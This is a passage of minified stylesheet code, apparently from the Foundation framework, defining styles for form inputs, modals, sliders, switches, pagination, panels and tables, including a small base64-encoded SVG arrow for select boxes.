,input[type="search"][disabled] ,input[type="search"][readonly] ,fieldset[disabled] input[type="search"] ,input[type="tel"][disabled] ,input[type="tel"][readonly] ,fieldset[disabled] input[type="tel"] ,input[type="time"][disabled] ,input[type="time"][readonly] ,fieldset[disabled] input[type="time"] ,input[type="url"][disabled] ,input[type="url"][readonly] ,fieldset[disabled] input[type="url"] ,input[type="color"][disabled] ,input[type="color"][readonly] ,fieldset[disabled] input[type="color"] ,textarea[disabled] ,textarea[readonly] ,fieldset[disabled] textarea {background-color:#dddddd;cursor:default;}input[type="text"].radius ,input[type="password"].radius ,input[type="date"].radius ,input[type="datetime"].radius ,input[type="datetime-local"].radius ,input[type="month"].radius ,input[type="week"].radius ,input[type="email"].radius ,input[type="number"].radius ,input[type="search"].radius ,input[type="tel"].radius ,input[type="time"].radius ,input[type="url"].radius ,input[type="color"].radius ,textarea.radius {border-radius:3px;}form .row .prefix-radius.row.collapse input ,form .row .prefix-radius.row.collapse textarea ,form .row .prefix-radius.row.collapse select {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}form .row .prefix-radius.row.collapse .prefix {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}form .row .postfix-radius.row.collapse input ,form .row .postfix-radius.row.collapse textarea ,form .row .postfix-radius.row.collapse select {border-radius:0;-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}form .row .postfix-radius.row.collapse .postfix {border-radius:0;-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}form .row .prefix-round.row.collapse input ,form .row .prefix-round.row.collapse textarea ,form .row .prefix-round.row.collapse select {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}form .row .prefix-round.row.collapse .prefix {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}form .row .postfix-round.row.collapse input ,form .row .postfix-round.row.collapse textarea ,form .row .postfix-round.row.collapse select {border-radius:0;-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}form .row .postfix-round.row.collapse .postfix {border-radius:0;-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}input[type="submit"] {-webkit-appearance:none;-webkit-border-radius:0px;}textarea[rows] {height:auto;}textarea {max-width:100%;}select {-webkit-appearance:none !important;-webkit-border-radius:0px;background-color:#fafafa;background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZlcnNpb249IjEuMSIgeD0iMTJweCIgeT0iMHB4IiB3aWR0aD0iMjRweCIgaGVpZ2h0PSIzcHgiIHZpZXdCb3g9IjAgMCA2IDMiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDYgMyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBvbHlnb24gcG9pbnRzPSI1Ljk5MiwwIDIuOTkyLDMgLTAuMDA4LDAgIi8+PC9zdmc+);background-position:100% center;background-repeat:no-repeat;border-style:solid;border-width:1px;border-color:#cccccc;padding:0.5rem;font-size:0.875rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;color:rgba(0, 0, 0, 0.75);line-height:normal;border-radius:0;height:2.3125rem;}select::-ms-expand {display:none;}select.radius {border-radius:3px;}select:hover {background-color:#f3f3f3;border-color:#999999;}select:disabled {background-color:#dddddd;cursor:default;}input[type="file"] ,input[type="checkbox"] ,input[type="radio"] ,select {margin:0 0 1rem 0;}input[type="checkbox"]+label ,input[type="radio"]+label {display:inline-block;margin-left:0.5rem;margin-right:1rem;margin-bottom:0;vertical-align:baseline;}input[type="file"] {width:100%;}fieldset {border:1px solid #dddddd;padding:1.25rem;margin:1.125rem 0;}fieldset legend {font-weight:bold;background:#ffffff;padding:0 0.1875rem;margin:0;margin-left:-0.1875rem;}[data-abide] .error small.error ,[data-abide] .error span.error ,[data-abide] span.error ,[data-abide] small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}[data-abide] span.error ,[data-abide] small.error {display:none;}span.error ,small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}.error input ,.error textarea ,.error select {margin-bottom:0;}.error input[type="checkbox"] ,.error input[type="radio"] {margin-bottom:1rem;}.error label ,.error label.error {color:#f04124;}.error small.error {display:block;padding:0.375rem 0.5625rem 0.5625rem;margin-top:-1px;margin-bottom:1rem;font-size:0.75rem;font-weight:normal;font-style:italic;background:#f04124;color:#ffffff;}.error > label>small {color:#686868;background:transparent;padding:0;text-transform:capitalize;font-style:normal;font-size:60%;margin:0;display:inline;}.error span.error-message {display:block;}input.error ,textarea.error ,select.error {margin-bottom:0;}label.error {color:#f04124;}.icon-bar {width:100%;font-size:0;display:inline-block;background:#333333;}.icon-bar>* {text-align:center;font-size:1rem;width:25%;margin:0 auto;display:block;padding:1.25rem;float:left;}.icon-bar > * i ,.icon-bar > * img {display:block;margin:0 auto;}.icon-bar > * i+label ,.icon-bar > * img+label {margin-top:0.0625rem;}.icon-bar > * i {font-size:1.875rem;vertical-align:middle;}.icon-bar > * img {width:1.875rem;height:1.875rem;}.icon-bar.label-right > * i ,.icon-bar.label-right > * img {margin:0 0.0625rem 0 0;display:inline-block;}.icon-bar.label-right > * i+label ,.icon-bar.label-right > * img+label {margin-top:0;}.icon-bar.label-right > * label {display:inline-block;}.icon-bar.vertical.label-right>* {text-align:left;}.icon-bar.vertical ,.icon-bar.small-vertical {height:100%;width:auto;}.icon-bar.vertical .item ,.icon-bar.small-vertical .item {width:auto;margin:auto;float:none;}@media only screen and (min-width:40.063em){.icon-bar.medium-vertical {height:100%;width:auto;}.icon-bar.medium-vertical .item {width:auto;margin:auto;float:none;}}@media only screen and (min-width:64.063em){.icon-bar.large-vertical {height:100%;width:auto;}.icon-bar.large-vertical .item {width:auto;margin:auto;float:none;}}.icon-bar>* {font-size:1rem;padding:1.25rem;}.icon-bar > * i+label ,.icon-bar > * img+label {margin-top:0.0625rem;}.icon-bar > * i {font-size:1.875rem;}.icon-bar > * img {width:1.875rem;height:1.875rem;}.icon-bar > *:hover {background:#008cba;}.icon-bar > * label {color:#ffffff;}.icon-bar > * i {color:#ffffff;}.icon-bar.two-up .item {width:50%;}.icon-bar.two-up.vertical .item ,.icon-bar.two-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.two-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.two-up.large-vertical .item {width:auto;}}.icon-bar.three-up .item {width:33.3333%;}.icon-bar.three-up.vertical .item ,.icon-bar.three-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.three-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.three-up.large-vertical .item {width:auto;}}.icon-bar.four-up .item {width:25%;}.icon-bar.four-up.vertical .item ,.icon-bar.four-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.four-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.four-up.large-vertical .item {width:auto;}}.icon-bar.five-up .item {width:20%;}.icon-bar.five-up.vertical .item ,.icon-bar.five-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.five-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.five-up.large-vertical .item {width:auto;}}.icon-bar.six-up .item {width:16.66667%;}.icon-bar.six-up.vertical .item ,.icon-bar.six-up.small-vertical .item {width:auto;}@media only screen and (min-width:40.063em){.icon-bar.six-up.medium-vertical .item {width:auto;}}@media only screen and (min-width:64.063em){.icon-bar.six-up.large-vertical .item {width:auto;}}.inline-list {margin:0 auto 1.0625rem auto;margin-left:-1.375rem;margin-right:0;padding:0;list-style:none;overflow:hidden;}.inline-list>li {list-style:none;float:left;margin-left:1.375rem;display:block;}.inline-list > li>* {display:block;}.joyride-list {display:none;}.joyride-tip-guide {display:none;position:absolute;background:#333333;color:#ffffff;z-index:101;top:0;left:2.5%;font-family:inherit;font-weight:normal;width:95%;}.lt-ie9 .joyride-tip-guide {max-width:800px;left:50%;margin-left:-400px;}.joyride-content-wrapper {width:100%;padding:1.125rem 1.25rem 1.5rem;}.joyride-content-wrapper .button {margin-bottom:0 !important;}.joyride-content-wrapper .joyride-prev-tip {margin-right:10px;}.joyride-tip-guide .joyride-nub {display:block;position:absolute;left:22px;width:0;height:0;border:10px solid #333333;}.joyride-tip-guide .joyride-nub.top {border-top-style:solid;border-color:#333333;border-top-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;top:-20px;}.joyride-tip-guide .joyride-nub.bottom {border-bottom-style:solid;border-color:#333333 !important;border-bottom-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;bottom:-20px;}.joyride-tip-guide .joyride-nub.right {right:-20px;}.joyride-tip-guide .joyride-nub.left {left:-20px;}.joyride-tip-guide h1 ,.joyride-tip-guide h2 ,.joyride-tip-guide h3 ,.joyride-tip-guide h4 ,.joyride-tip-guide h5 ,.joyride-tip-guide h6 {line-height:1.25;margin:0;font-weight:bold;color:#ffffff;}.joyride-tip-guide p {margin:0 0 1.125rem 0;font-size:0.875rem;line-height:1.3;}.joyride-timer-indicator-wrap {width:50px;height:3px;border:solid 1px #555555;position:absolute;right:1.0625rem;bottom:1rem;}.joyride-timer-indicator {display:block;width:0;height:inherit;background:#666666;}.joyride-close-tip {position:absolute;right:12px;top:10px;color:#777777 !important;text-decoration:none;font-size:24px;font-weight:normal;line-height:0.5 !important;}.joyride-close-tip:hover ,.joyride-close-tip:focus {color:#eeeeee !important;}.joyride-modal-bg {position:fixed;height:100%;width:100%;background:transparent;background:rgba(0, 0, 0, 0.5);z-index:100;display:none;top:0;left:0;cursor:pointer;}.joyride-expose-wrapper {background-color:#ffffff;position:absolute;border-radius:3px;z-index:102;box-shadow:0 0 15px #ffffff;}.joyride-expose-cover {background:transparent;border-radius:3px;position:absolute;z-index:9999;top:0;left:0;}@media only screen and (min-width:40.063em){.joyride-tip-guide {width:300px;left:inherit;}.joyride-tip-guide .joyride-nub.bottom {border-color:#333333 !important;border-bottom-color:transparent !important;border-left-color:transparent !important;border-right-color:transparent !important;bottom:-20px;}.joyride-tip-guide .joyride-nub.right {border-color:#333333 !important;border-top-color:transparent !important;border-right-color:transparent !important;border-bottom-color:transparent !important;top:22px;left:auto;right:-20px;}.joyride-tip-guide .joyride-nub.left {border-color:#333333 !important;border-top-color:transparent !important;border-left-color:transparent !important;border-bottom-color:transparent !important;top:22px;left:-20px;right:auto;}}.keystroke ,kbd {background-color:#ededed;border-color:#dcdcdc;color:#222222;border-style:solid;border-width:1px;margin:0;font-family:"Consolas","Menlo","Courier",monospace;font-size:inherit;padding:0.125rem 0.25rem 0;border-radius:3px;}.label {font-weight:normal;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;text-align:center;text-decoration:none;line-height:1;white-space:nowrap;display:inline-block;position:relative;margin-bottom:inherit;padding:0.25rem 0.5rem 0.25rem;font-size:0.6875rem;background-color:#008cba;color:#ffffff;}.label.radius {border-radius:3px;}.label.round {border-radius:1000px;}.label.alert {background-color:#f04124;color:#ffffff;}.label.warning {background-color:#f08a24;color:#ffffff;}.label.success {background-color:#43ac6a;color:#ffffff;}.label.secondary {background-color:#e7e7e7;color:#333333;}.label.info {background-color:#a0d3e8;color:#333333;}[data-magellan-expedition] ,[data-magellan-expedition-clone] {background:#ffffff;z-index:50;min-width:100%;padding:10px;}[data-magellan-expedition] .sub-nav ,[data-magellan-expedition-clone] .sub-nav {margin-bottom:0;}[data-magellan-expedition] .sub-nav dd ,[data-magellan-expedition-clone] .sub-nav dd {margin-bottom:0;}[data-magellan-expedition] .sub-nav a ,[data-magellan-expedition-clone] .sub-nav a {line-height:1.8em;}@-webkit-keyframes rotate {from {-webkit-transform:rotate(0deg);}to {-webkit-transform:rotate(360deg);}}@-moz-keyframes rotate {from {-moz-transform:rotate(0deg);}to {-moz-transform:rotate(360deg);}}@-o-keyframes rotate {from {-o-transform:rotate(0deg);}to {-o-transform:rotate(360deg);}}@keyframes rotate {from {transform:rotate(0deg);}to {transform:rotate(360deg);}}.slideshow-wrapper {position:relative;}.slideshow-wrapper ul {list-style-type:none;margin:0;}.slideshow-wrapper ul li ,.slideshow-wrapper ul li .orbit-caption {display:none;}.slideshow-wrapper ul li:first-child {display:block;}.slideshow-wrapper .orbit-container {background-color:transparent;}.slideshow-wrapper .orbit-container li {display:block;}.slideshow-wrapper .orbit-container li .orbit-caption {display:block;}.slideshow-wrapper .orbit-container .orbit-bullets li {display:inline-block;}.slideshow-wrapper .preloader {display:block;width:40px;height:40px;position:absolute;top:50%;left:50%;margin-top:-20px;margin-left:-20px;border:solid 3px;border-color:#555555 #ffffff;border-radius:1000px;animation-name:rotate;animation-duration:1.5s;animation-iteration-count:infinite;animation-timing-function:linear;}.orbit-container {overflow:hidden;width:100%;position:relative;background:none;}.orbit-container .orbit-slides-container {list-style:none;margin:0;padding:0;position:relative;-webkit-transform:translateZ(0);}.orbit-container .orbit-slides-container img {display:block;max-width:100%;}.orbit-container .orbit-slides-container>* {position:absolute;top:0;width:100%;margin-left:100%;}.orbit-container .orbit-slides-container > *:first-child {margin-left:0%;}.orbit-container .orbit-slides-container > * .orbit-caption {position:absolute;bottom:0;background-color:rgba(51, 51, 51, 0.8);color:#ffffff;width:100%;padding:0.625rem 0.875rem;font-size:0.875rem;}.orbit-container .orbit-slide-number {position:absolute;top:10px;left:10px;font-size:12px;color:#ffffff;background:rgba(0, 0, 0, 0);z-index:10;}.orbit-container .orbit-slide-number span {font-weight:700;padding:0.3125rem;}.orbit-container .orbit-timer {position:absolute;top:12px;right:10px;height:6px;width:100px;z-index:10;}.orbit-container .orbit-timer>span {display:none;position:absolute;top:0px;right:0;width:11px;height:14px;border:solid 4px #ffffff;border-top:none;border-bottom:none;}.orbit-container .orbit-timer.paused>span {right:-4px;top:0px;width:11px;height:14px;border:inset 8px;border-left-style:solid;border-color:transparent;border-left-color:#ffffff;}.orbit-container .orbit-timer.paused > span.dark {border-left-color:#333333;}.orbit-container:hover .orbit-timer>span {display:block;}.orbit-container .orbit-prev ,.orbit-container .orbit-next {position:absolute;top:45%;margin-top:-25px;width:36px;height:60px;line-height:50px;color:white;background-color:transparent;text-indent:-9999px !important;z-index:10;}.orbit-container .orbit-prev:hover ,.orbit-container .orbit-next:hover {background-color:rgba(0, 0, 0, 0.3);}.orbit-container .orbit-prev>span ,.orbit-container .orbit-next>span {position:absolute;top:50%;margin-top:-10px;display:block;width:0;height:0;border:inset 10px;}.orbit-container .orbit-prev {left:0;}.orbit-container .orbit-prev>span {border-right-style:solid;border-color:transparent;border-right-color:#ffffff;}.orbit-container .orbit-prev:hover>span {border-right-color:#ff0000;}.orbit-container .orbit-next {right:0;}.orbit-container .orbit-next>span {border-color:transparent;border-left-style:solid;border-left-color:#ffffff;left:50%;margin-left:-4px;}.orbit-container .orbit-next:hover>span {border-left-color:#ff0000;}.orbit-bullets-container {text-align:center;}.orbit-bullets {margin:0 auto 30px auto;overflow:hidden;position:relative;top:10px;float:none;text-align:center;display:block;}.orbit-bullets li {cursor:pointer;display:inline-block;width:0.5625rem;height:0.5625rem;background:#cccccc;float:none;margin-right:6px;border-radius:1000px;}.orbit-bullets li.active {background:#999999;}.orbit-bullets li:last-child {margin-right:0;}.touch .orbit-container .orbit-prev ,.touch .orbit-container .orbit-next {display:none;}.touch .orbit-bullets {display:none;}@media only screen and (min-width:40.063em){.touch .orbit-container .orbit-prev ,.touch .orbit-container .orbit-next {display:inherit;}.touch .orbit-bullets {display:block;}}@media only screen and (max-width: 40em){.orbit-stack-on-small .orbit-slides-container {height:auto !important;}.orbit-stack-on-small .orbit-slides-container>* {position:relative;margin:0% !important;opacity:1 !important;}.orbit-stack-on-small .orbit-slide-number {display:none;}.orbit-timer {display:none;}.orbit-next ,.orbit-prev {display:none;}.orbit-bullets {display:none;}}ul.pagination {display:block;min-height:1.5rem;margin-left:-0.3125rem;}ul.pagination li {height:1.5rem;color:#222222;font-size:0.875rem;margin-left:0.3125rem;}ul.pagination li a ,ul.pagination li button {display:block;padding:0.0625rem 0.625rem 0.0625rem;color:#999999;background:none;border-radius:3px;font-weight:normal;font-size:1em;line-height:inherit;transition:background-color 300ms ease-out;}ul.pagination li:hover a ,ul.pagination li a:focus ,ul.pagination li:hover button ,ul.pagination li button:focus {background:#e6e6e6;}ul.pagination li.unavailable a ,ul.pagination li.unavailable button {cursor:default;color:#999999;}ul.pagination li.unavailable:hover a ,ul.pagination li.unavailable a:focus ,ul.pagination li.unavailable:hover button ,ul.pagination li.unavailable button:focus {background:transparent;}ul.pagination li.current a ,ul.pagination li.current button {background:#008cba;color:#ffffff;font-weight:bold;cursor:default;}ul.pagination li.current a:hover ,ul.pagination li.current a:focus ,ul.pagination li.current button:hover ,ul.pagination li.current button:focus {background:#008cba;}ul.pagination li {float:left;display:block;}.pagination-centered {text-align:center;}.pagination-centered ul.pagination li {float:none;display:inline-block;}.panel {border-style:solid;border-width:0px;border-color:#d7d7d7;margin-bottom:0.0625rem;padding:0;background:#f2f2f2;color:#333333;}.panel>:first-child {margin-top:0;}.panel>:last-child {margin-bottom:0;}.panel h1 ,.panel h2 ,.panel h3 ,.panel h4 ,.panel h5 ,.panel h6 ,.panel p ,.panel li ,.panel dl {color:#333333;}.panel h1 ,.panel h2 ,.panel h3 ,.panel h4 ,.panel h5 ,.panel h6 {line-height:1;margin-bottom:0.625rem;}.panel h1.subheader ,.panel h2.subheader ,.panel h3.subheader ,.panel h4.subheader ,.panel h5.subheader ,.panel h6.subheader {line-height:1.4;}.panel.callout {border-style:solid;border-width:0px;border-color:#b6edff;margin-bottom:0.0625rem;padding:0;background:#ecfaff;color:#333333;}.panel.callout>:first-child {margin-top:0;}.panel.callout>:last-child {margin-bottom:0;}.panel.callout h1 ,.panel.callout h2 ,.panel.callout h3 ,.panel.callout h4 ,.panel.callout h5 ,.panel.callout h6 ,.panel.callout p ,.panel.callout li ,.panel.callout dl {color:#333333;}.panel.callout h1 ,.panel.callout h2 ,.panel.callout h3 ,.panel.callout h4 ,.panel.callout h5 ,.panel.callout h6 {line-height:1;margin-bottom:0.625rem;}.panel.callout h1.subheader ,.panel.callout h2.subheader ,.panel.callout h3.subheader ,.panel.callout h4.subheader ,.panel.callout h5.subheader ,.panel.callout h6.subheader {line-height:1.4;}.panel.callout a:not(.button) {color:#008cba;}.panel.radius {border-radius:3px;}.pricing-table {border:solid 1px #dddddd;margin-left:0;margin-bottom:1.25rem;}.pricing-table * {list-style:none;line-height:1;}.pricing-table .title {background-color:#333333;padding:0.9375rem 1.25rem;text-align:center;color:#eeeeee;font-weight:normal;font-size:1rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.pricing-table .price {background-color:#f6f6f6;padding:0.9375rem 1.25rem;text-align:center;color:#333333;font-weight:normal;font-size:2rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.pricing-table .description {background-color:#ffffff;padding:0.9375rem;text-align:center;color:#777777;font-size:0.75rem;font-weight:normal;line-height:1.4;border-bottom:dotted 1px #dddddd;}.pricing-table .bullet-item {background-color:#ffffff;padding:0.9375rem;text-align:center;color:#333333;font-size:0.875rem;font-weight:normal;border-bottom:dotted 1px #dddddd;}.pricing-table .cta-button {background-color:#ffffff;text-align:center;padding:1.25rem 1.25rem 0;}.progress {background-color:#f6f6f6;height:1.5625rem;border:1px solid #ffffff;padding:0.125rem;margin-bottom:0.625rem;}.progress .meter {background:#008cba;height:100%;display:block;}.progress.secondary .meter {background:#e7e7e7;height:100%;display:block;}.progress.success .meter {background:#43ac6a;height:100%;display:block;}.progress.alert .meter {background:#f04124;height:100%;display:block;}.progress.radius {border-radius:3px;}.progress.radius .meter {border-radius:2px;}.progress.round {border-radius:1000px;}.progress.round .meter {border-radius:999px;}.range-slider {display:block;position:relative;width:100%;height:1rem;border:1px solid #dddddd;margin:1.25rem 0;-ms-touch-action:none;touch-action:none;background:#fafafa;}.range-slider.vertical-range {display:block;position:relative;width:100%;height:1rem;border:1px solid #dddddd;margin:1.25rem 0;-ms-touch-action:none;touch-action:none;display:inline-block;width:1rem;height:12.5rem;}.range-slider.vertical-range .range-slider-handle {margin-top:0;margin-left:-0.5rem;position:absolute;bottom:-10.5rem;}.range-slider.vertical-range .range-slider-active-segment {width:0.875rem;height:auto;bottom:0;}.range-slider.radius {background:#fafafa;border-radius:3px;}.range-slider.radius .range-slider-handle {background:#008cba;border-radius:3px;}.range-slider.radius .range-slider-handle:hover {background:#007da4;}.range-slider.round {background:#fafafa;border-radius:1000px;}.range-slider.round .range-slider-handle {background:#008cba;border-radius:1000px;}.range-slider.round .range-slider-handle:hover {background:#007da4;}.range-slider.disabled ,.range-slider[disabled] {background:#fafafa;cursor:default;opacity:0.7;}.range-slider.disabled .range-slider-handle ,.range-slider[disabled] .range-slider-handle {background:#008cba;cursor:default;opacity:0.7;}.range-slider.disabled .range-slider-handle:hover ,.range-slider[disabled] .range-slider-handle:hover {background:#007da4;}.range-slider-active-segment {display:inline-block;position:absolute;height:0.875rem;background:#e5e5e5;}.range-slider-handle {display:inline-block;position:absolute;z-index:1;top:-0.3125rem;width:2rem;height:1.375rem;border:1px solid none;cursor:pointer;-ms-touch-action:manipulation;touch-action:manipulation;background:#008cba;}.range-slider-handle:hover {background:#007da4;}.reveal-modal-bg {position:fixed;top:0;bottom:0;left:0;right:0;background:#000000;background:rgba(0, 0, 0, 0.45);z-index:1004;display:none;left:0;}.reveal-modal ,dialog {visibility:hidden;display:none;position:absolute;z-index:1005;width:100vw;top:0;border-radius:3px;left:0;background-color:#ffffff;padding:1.25rem;border:solid 1px #666666;box-shadow:0 0 10px rgba(0, 0, 0, 0.4);padding:1.875rem;}@media only screen and (max-width: 40em){.reveal-modal {min-height:100vh;}}.reveal-modal .column ,.reveal-modal .columns {min-width:0;}.reveal-modal>:first-child {margin-top:0;}.reveal-modal>:last-child {margin-bottom:0;}@media only screen and (min-width:40.063em){.reveal-modal {width:80%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal {top:6.25rem;}}.reveal-modal.radius {border-radius:3px;}.reveal-modal.round {border-radius:1000px;}.reveal-modal.collapse {padding:0;}@media only screen and (min-width:40.063em){.reveal-modal.tiny {width:30%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.small {width:40%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.medium {width:60%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.large {width:70%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.xlarge {width:95%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}.reveal-modal.full {top:0;left:0;height:100%;height:100vh;min-height:100vh;max-width:none !important;margin-left:0 !important;}@media only screen and (min-width:40.063em){.reveal-modal.full {width:100vw;max-width:62.5rem;left:0;right:0;margin:0 auto;}}.reveal-modal .close-reveal-modal {font-size:2.5rem;line-height:1;position:absolute;top:0.5rem;right:0.6875rem;color:#aaaaaa;font-weight:bold;cursor:pointer;}dialog {display:none;}dialog::backdrop ,dialog+.backdrop {position:fixed;top:0;bottom:0;left:0;right:0;background:#000000;background:rgba(0, 0, 0, 0.45);z-index:auto;display:none;left:0;}dialog[open] {display:block;}@media print{dialog ,.reveal-modal ,dialog {display:none;background:#ffffff !important;}}.side-nav {display:block;margin:0;padding:0.875rem 0;list-style-type:none;list-style-position:outside;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.side-nav li {margin:0 0 0.4375rem 0;font-size:0.875rem;font-weight:normal;}.side-nav li a:not(.button) {display:block;color:#008cba;margin:0;padding:0.4375rem 0.875rem;}.side-nav li a:not(.button):hover ,.side-nav li a:not(.button):focus {background:rgba(0, 0, 0, 0.025);color:#1ccaff;}.side-nav li.active>a:first-child:not(.button) {color:#1ccaff;font-weight:normal;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.side-nav li.divider {border-top:1px solid;height:0;padding:0;list-style:none;border-top-color:#ffffff;}.side-nav li.heading {color:#008cba;font-size:0.875rem;font-weight:bold;text-transform:uppercase;}.split.button {position:relative;padding-right:5.0625rem;}.split.button span {display:block;height:100%;position:absolute;right:0;top:0;border-left:solid 1px;}.split.button span:after {position:absolute;content:"";width:0;height:0;display:block;border-style:inset;top:50%;left:50%;}.split.button span:active {background-color:rgba(0, 0, 0, 0.1);}.split.button span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button span {width:3.09375rem;}.split.button span:after {border-top-style:solid;border-width:0.375rem;top:48%;margin-left:-0.375rem;}.split.button span:after {border-color:#ffffff transparent transparent transparent;}.split.button.secondary span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.secondary span:after {border-color:#ffffff transparent transparent transparent;}.split.button.alert span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.success span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.tiny {padding-right:3.75rem;}.split.button.tiny span {width:2.25rem;}.split.button.tiny span:after {border-top-style:solid;border-width:0.375rem;top:48%;margin-left:-0.375rem;}.split.button.small {padding-right:4.375rem;}.split.button.small span {width:2.625rem;}.split.button.small span:after {border-top-style:solid;border-width:0.4375rem;top:48%;margin-left:-0.375rem;}.split.button.large {padding-right:5.5rem;}.split.button.large span {width:3.4375rem;}.split.button.large span:after {border-top-style:solid;border-width:0.3125rem;top:48%;margin-left:-0.375rem;}.split.button.expand {padding-left:2rem;}.split.button.secondary span:after {border-color:#333333 transparent transparent transparent;}.split.button.radius span {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.split.button.round span {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}.sub-nav {display:block;width:auto;overflow:hidden;margin-bottom:-0.25rem 0 1.125rem;padding-top:0.25rem;}.sub-nav dt {text-transform:uppercase;}.sub-nav dt ,.sub-nav dd ,.sub-nav li {float:left;display:inline;margin-left:1rem;margin-bottom:0;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;font-size:0.875rem;color:#999999;}.sub-nav dt a ,.sub-nav dd a ,.sub-nav li a {text-decoration:none;color:#999999;padding:0.1875rem 1rem;}.sub-nav dt a:hover ,.sub-nav dd a:hover ,.sub-nav li a:hover {color:#737373;}.sub-nav dt.active a ,.sub-nav dd.active a ,.sub-nav li.active a {border-radius:3px;font-weight:normal;background:#008cba;padding:0.1875rem 1rem;cursor:default;color:#ffffff;}.sub-nav dt.active a:hover ,.sub-nav dd.active a:hover ,.sub-nav li.active a:hover {background:#007ba0;}.switch {padding:0;border:none;position:relative;outline:0;-webkit-user-select:none;-moz-user-select:none;user-select:none;}.switch label {display:block;margin-bottom:1rem;position:relative;color:transparent;background:#dddddd;text-indent:100%;width:4rem;height:2rem;cursor:pointer;transition:left 0.15s ease-out;}.switch input {opacity:0;position:absolute;top:9px;left:10px;padding:0;}.switch input+label {margin-left:0;margin-right:0;}.switch label:after {content:"";display:block;background:#ffffff;position:absolute;top:0.25rem;left:0.25rem;width:1.5rem;height:1.5rem;-webkit-transition:left 0.15s ease-out;-moz-transition:left 0.15s ease-out;transition:left 0.15s ease-out;-webkit-transform:translate3d(0, 0, 0);-moz-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);}.switch input:checked+label {background:#008cba;}.switch input:checked+label:after {left:2.25rem;}.switch label {width:4rem;height:2rem;}.switch label:after {width:1.5rem;height:1.5rem;}.switch input:checked+label:after {left:2.25rem;}.switch label {color:transparent;background:#dddddd;}.switch label:after {background:#ffffff;}.switch input:checked+label {background:#008cba;}.switch.large label {width:5rem;height:2.5rem;}.switch.large label:after {width:2rem;height:2rem;}.switch.large input:checked+label:after {left:2.75rem;}.switch.small label {width:3.5rem;height:1.75rem;}.switch.small label:after {width:1.25rem;height:1.25rem;}.switch.small input:checked+label:after {left:2rem;}.switch.tiny label {width:3rem;height:1.5rem;}.switch.tiny label:after {width:1rem;height:1rem;}.switch.tiny input:checked+label:after {left:1.75rem;}.switch.radius label {border-radius:4px;}.switch.radius label:after {border-radius:3px;}.switch.round {border-radius:1000px;}.switch.round label {border-radius:2rem;}.switch.round label:after {border-radius:2rem;}table {background:#ffffff;margin-bottom:1.25rem;border:solid 1px #dddddd;table-layout:auto;}table caption {background:transparent;color:#222222;font-size:1rem;font-weight:bold;}table thead {background:#f5f5f5;}table thead tr th ,table thead tr td {padding:0.5rem 0.625rem 0.625rem;font-size:0.875rem;font-weight:bold;color:#222222;}table tfoot {background:#f5f5f5;}table tfoot tr th ,table tfoot tr td {padding:0.5rem 0.625rem 